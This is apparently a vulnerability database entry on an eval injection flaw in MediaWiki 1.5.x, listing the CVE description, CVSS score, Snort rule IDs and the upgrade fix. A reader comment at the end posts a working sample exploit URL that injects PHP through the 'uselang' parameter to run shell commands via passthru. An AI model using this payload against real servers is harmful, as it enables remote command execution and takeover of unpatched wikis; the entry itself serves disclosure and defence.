21444 : MediaWiki Language Option eval() Function Arbitrary PHP Code Execution
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Views This Week

4

Views All Time

204

Info

Last Modified

over 2 years ago

Percent Complete

20%

Disclosure

Dec 04, 2005

Discovery

Unknown

Dates

Exploit

Unknown

Solution

Unknown

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Description

(Description Provided by CVE) : Eval injection vulnerability in MediaWiki 1.5.x before 1.5.3 allows remote attackers to execute arbitrary PHP code via the "user language option," which is used as part of a dynamic class name that is processed using the eval function.

Classification

Unknown or Incomplete

Solution

Upgrade to version 1.5.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

Unknown or Incomplete

References

Tools & Filters

Snort

16079
20255

Credit

Unknown or Incomplete

CVSSv2 Score

CVSSv2 Base Score = 7.5
Source: nvd.nist.gov | Generated: 2005-12-06 | Disagree?

Access_vector_2 Access_complexity_2 Authentication_2 Confidentiality_impact_1 Integrity_impact_1 Availability_impact_1

Blogs

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

Comments

Anonymous - 2008/05/13 01:39:00

Sample exploit:

http://www.site.com/index.php?uselang=t{}%20print%20%22%3Cplaintext%3E%22;passthru($_GET['cmd']);/*&cmd=dir


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